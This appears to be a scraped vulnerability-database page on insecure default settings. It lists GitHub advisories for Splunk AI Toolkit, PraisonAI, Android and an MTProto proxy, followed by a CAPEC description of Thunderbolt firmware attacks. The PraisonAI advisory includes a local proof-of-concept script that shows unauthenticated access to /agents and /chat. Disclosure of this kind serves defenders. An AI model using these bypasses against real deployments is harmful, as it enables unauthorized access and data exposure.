      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6Q6W-QW52-9Q3J

Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-06-17 18:35
VLAI
Details

In Splunk AI Toolkit versions below 5.7.4, a low-privileged user that does not hold the "admin" or "power" Splunk roles could cause the Splunk AI Toolkit to make outbound requests over HTTP to a server that an attacker controls, which could allow for data exfiltration.

The vulnerability exists because of an insecure default domain allowlist in the Splunk AI Toolkit, which does not restrict outbound AI agent requests to approved external domains.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-20265"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-17T18:17:40Z",
    "severity": "MODERATE"
  },
  "details": "In Splunk AI Toolkit versions below 5.7.4, a low-privileged user that does not hold the \"admin\" or \"power\" Splunk roles could cause the Splunk AI Toolkit to make outbound requests over HTTP to a server that an attacker controls, which could allow for data exfiltration.  \n\nThe vulnerability exists because of an insecure default domain allowlist in the Splunk AI Toolkit, which does not restrict outbound AI agent  requests to approved external domains.",
  "id": "GHSA-6q6w-qw52-9q3j",
  "modified": "2026-06-17T18:35:57Z",
  "published": "2026-06-17T18:35:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20265"
    },
    {
      "type": "WEB",
      "url": "https://advisory.splunk.com/advisories/SVD-2026-0613"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6RMH-7XCM-CPXJ

Vulnerability from github – Published: 2026-05-11 13:56 – Updated: 2026-05-11 13:56
VLAI
Summary
PraisonAI ships and generates a legacy API server with authentication disabled by default, allowing unauthenticated workflow execution
Details

Summary

PraisonAI ships a legacy Flask API server with authentication disabled by default. When that server is used, any caller that can reach it can access /agents and trigger the configured agents.yaml workflow through /chat without providing a token.

Details

The vulnerable server is the shipped src/praisonai/api_server.py entrypoint.

The deploy subsystem keeps the same insecure authentication default:

For scope clarity: the newer serve agents command is safer by default, because it binds to 127.0.0.1 and supports --api-key in [src/praisonai/praisonai/cli/commands/serve.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/cli/commands/serve.py:155). This report is about the shipped legacy API server and the generated/sample API deployment path above.

Version scope:

  • v2.5.6 already ships the same src/praisonai/api_server.py implementation.
  • The current PyPI release on May 1, 2026 is 4.6.33, and it still ships the same unauthenticated server logic.

PoC

The following route-level reproduction was verified locally and proves that the shipped api_server.py exposes /agents and /chat without authentication.

  1. From the repository root, create a throwaway environment with the server's direct Flask dependencies:
python3 -m venv /tmp/praisonai-ghsa-venv
/tmp/praisonai-ghsa-venv/bin/pip install flask flask-cors
  1. Execute the shipped src/praisonai/api_server.py under a minimal stub for praisonai.PraisonAI so only the server auth logic is exercised:
/tmp/praisonai-ghsa-venv/bin/python - <<'PY'
import importlib.util
import pathlib
import sys
import types

stub = types.ModuleType("praisonai")

class DummyPraisonAI:
    def __init__(self, agent_file="agents.yaml"):
        self.agent_file = agent_file
    def run(self):
        return {"ran": True, "agent_file": self.agent_file}

stub.PraisonAI = DummyPraisonAI
sys.modules["praisonai"] = stub

path = pathlib.Path("src/praisonai/api_server.py").resolve()
spec = importlib.util.spec_from_file_location("api_server_local", path)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)

client = mod.app.test_client()
print(client.get("/agents").status_code, client.get("/agents").get_data(as_text=True))
print(client.post("/chat", json={"message": "hello"}).status_code, client.post("/chat", json={"message": "hello"}).get_data(as_text=True))
PY
  1. Observed result:
200 {"agent_file":"agents.yaml","agents":["default"]}
200 {"response":{"agent_file":"agents.yaml","ran":true},"status":"success"}

Both endpoints succeed without any Authorization header.

Impact

Any reachable caller can invoke the legacy API server's protected functionality without a token.

At minimum, this allows:

  • unauthenticated enumeration of the configured agent file through /agents
  • unauthenticated triggering of the locally configured agents.yaml workflow through /chat
  • repeated consumption of model/API quota and any other side effects performed by that workflow
  • exposure of whatever result PraisonAI.run() returns to the unauthenticated caller

This is not the same as arbitrary prompt injection by itself, because the current /chat handler ignores the submitted message value and simply runs the configured workflow. The impact therefore depends on what the operator's agents.yaml is allowed to do, but the authentication bypass is unconditional in the shipped legacy server.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.33"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.5.6"
            },
            {
              "fixed": "4.6.34"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44338"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-306",
      "CWE-668"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T13:56:16Z",
    "nvd_published_at": "2026-05-08T14:16:46Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nPraisonAI ships a legacy Flask API server with authentication disabled by default. When that server is used, any caller that can reach it can access `/agents` and trigger the configured `agents.yaml` workflow through `/chat` without providing a token.\n\n### Details\nThe vulnerable server is the shipped `src/praisonai/api_server.py` entrypoint.\n\n- `AUTH_ENABLED = False` and `AUTH_TOKEN = None` are hard-coded at [[src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:15)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:15).\n- `check_auth()` returns `True` whenever authentication is disabled, so both protected routes fail open by design at [[src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:18)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:18).\n- `POST /chat` only checks that the request JSON contains a `message` key and then runs `PraisonAI(agent_file=\"agents.yaml\").run()` at [[src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:31)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:31).\n- `GET /agents` is guarded by the same no-op authentication check and returns agent metadata at [[src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:55)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/[src/praisonai/api_server.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:66):55).\n- When launched directly, the same script binds to `0.0.0.0:8080` at [src/praisonai/api_server.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/api_server.py:66).\n\nThe deploy subsystem keeps the same insecure authentication default:\n\n- `APIConfig` defaults `auth_enabled` to `False` in [[src/praisonai/praisonai/deploy/models.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/deploy/models.py:23)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/deploy/models.py:23).\n- The generated sample API deployment YAML recommends `host: 0.0.0.0` together with `auth_enabled: false` in [[src/praisonai/praisonai/deploy/schema.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/deploy/schema.py:108)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/deploy/schema.py:108).\n\nFor scope clarity: the newer `serve agents` command is safer by default, because it binds to `127.0.0.1` and supports `--api-key` in [[src/praisonai/praisonai/cli/commands/serve.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/cli/commands/serve.py:155)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/cli/commands/serve.py:155). This report is about the shipped legacy API server and the generated/sample API deployment path above.\n\nVersion scope:\n\n- `v2.5.6` already ships the same `src/praisonai/api_server.py` implementation.\n- The current PyPI release on May 1, 2026 is `4.6.33`, and it still ships the same unauthenticated server logic.\n\n### PoC\nThe following route-level reproduction was verified locally and proves that the shipped `api_server.py` exposes `/agents` and `/chat` without authentication.\n\n1. From the repository root, create a throwaway environment with the server\u0027s direct Flask dependencies:\n\n```bash\npython3 -m venv /tmp/praisonai-ghsa-venv\n/tmp/praisonai-ghsa-venv/bin/pip install flask flask-cors\n```\n\n2. Execute the shipped `src/praisonai/api_server.py` under a minimal stub for `praisonai.PraisonAI` so only the server auth logic is exercised:\n\n```bash\n/tmp/praisonai-ghsa-venv/bin/python - \u003c\u003c\u0027PY\u0027\nimport importlib.util\nimport pathlib\nimport sys\nimport types\n\nstub = types.ModuleType(\"praisonai\")\n\nclass DummyPraisonAI:\n    def __init__(self, agent_file=\"agents.yaml\"):\n        self.agent_file = agent_file\n    def run(self):\n        return {\"ran\": True, \"agent_file\": self.agent_file}\n\nstub.PraisonAI = DummyPraisonAI\nsys.modules[\"praisonai\"] = stub\n\npath = pathlib.Path(\"src/praisonai/api_server.py\").resolve()\nspec = importlib.util.spec_from_file_location(\"api_server_local\", path)\nmod = importlib.util.module_from_spec(spec)\nspec.loader.exec_module(mod)\n\nclient = mod.app.test_client()\nprint(client.get(\"/agents\").status_code, client.get(\"/agents\").get_data(as_text=True))\nprint(client.post(\"/chat\", json={\"message\": \"hello\"}).status_code, client.post(\"/chat\", json={\"message\": \"hello\"}).get_data(as_text=True))\nPY\n```\n\n3. Observed result:\n\n```text\n200 {\"agent_file\":\"agents.yaml\",\"agents\":[\"default\"]}\n200 {\"response\":{\"agent_file\":\"agents.yaml\",\"ran\":true},\"status\":\"success\"}\n```\n\nBoth endpoints succeed without any `Authorization` header.\n\n### Impact\nAny reachable caller can invoke the legacy API server\u0027s protected functionality without a token.\n\nAt minimum, this allows:\n\n- unauthenticated enumeration of the configured agent file through `/agents`\n- unauthenticated triggering of the locally configured `agents.yaml` workflow through `/chat`\n- repeated consumption of model/API quota and any other side effects performed by that workflow\n- exposure of whatever result `PraisonAI.run()` returns to the unauthenticated caller\n\nThis is not the same as arbitrary prompt injection by itself, because the current `/chat` handler ignores the submitted `message` value and simply runs the configured workflow. The impact therefore depends on what the operator\u0027s `agents.yaml` is allowed to do, but the authentication bypass is unconditional in the shipped legacy server.",
  "id": "GHSA-6rmh-7xcm-cpxj",
  "modified": "2026-05-11T13:56:16Z",
  "published": "2026-05-11T13:56:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6rmh-7xcm-cpxj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44338"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI ships and generates a legacy API server with authentication disabled by default, allowing unauthenticated workflow execution"
}

GHSA-6WX9-JH9R-C86M

Vulnerability from github – Published: 2022-05-13 01:21 – Updated: 2022-05-13 01:21
VLAI
Details

In refresh of DevelopmentTiles.java, there is the possibility of leaving development settings accessible due to an insecure default value. This could lead to unwanted access to development settings, with no additional execution privileges needed. User interaction is needed for exploitation. Product: Android. Versions: Android-8.0 Android-8.1 Android-9. Android ID: A-117770924.

Severity
8.8 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-1994"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-02-28T17:29:00Z",
    "severity": "HIGH"
  },
  "details": "In refresh of DevelopmentTiles.java, there is the possibility of leaving development settings accessible due to an insecure default value. This could lead to unwanted access to development settings, with no additional execution privileges needed. User interaction is needed for exploitation. Product: Android. Versions: Android-8.0 Android-8.1 Android-9. Android ID: A-117770924.",
  "id": "GHSA-6wx9-jh9r-c86m",
  "modified": "2022-05-13T01:21:59Z",
  "published": "2022-05-13T01:21:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1994"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2019-02-01"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/106946"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-738Q-MC72-2Q22

Vulnerability from github – Published: 2023-10-10 21:31 – Updated: 2023-10-18 16:20
VLAI
Summary
MTProto proxy remote code execution vulnerability
Details

In the mtproto_proxy (aka MTProto proxy) component through 0.7.2 for Erlang, a low-privileged remote attacker can access an improperly secured default installation without authenticating and achieve remote command execution ability.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "mtproto_proxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-45312"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-10T22:28:03Z",
    "nvd_published_at": "2023-10-10T21:15:09Z",
    "severity": "HIGH"
  },
  "details": "In the mtproto_proxy (aka MTProto proxy) component through 0.7.2 for Erlang, a low-privileged remote attacker can access an improperly secured default installation without authenticating and achieve remote command execution ability.",
  "id": "GHSA-738q-mc72-2q22",
  "modified": "2023-10-18T16:20:10Z",
  "published": "2023-10-10T21:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45312"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/seriyps/mtproto_proxy"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/@_sadshade/almost-2000-telegram-proxy-servers-are-potentially-vulnerable-to-rce-since-2018-742a455be16b"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MTProto proxy remote code execution vulnerability"
}

No mitigation information available for this CWE.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.

← Back to the CWE list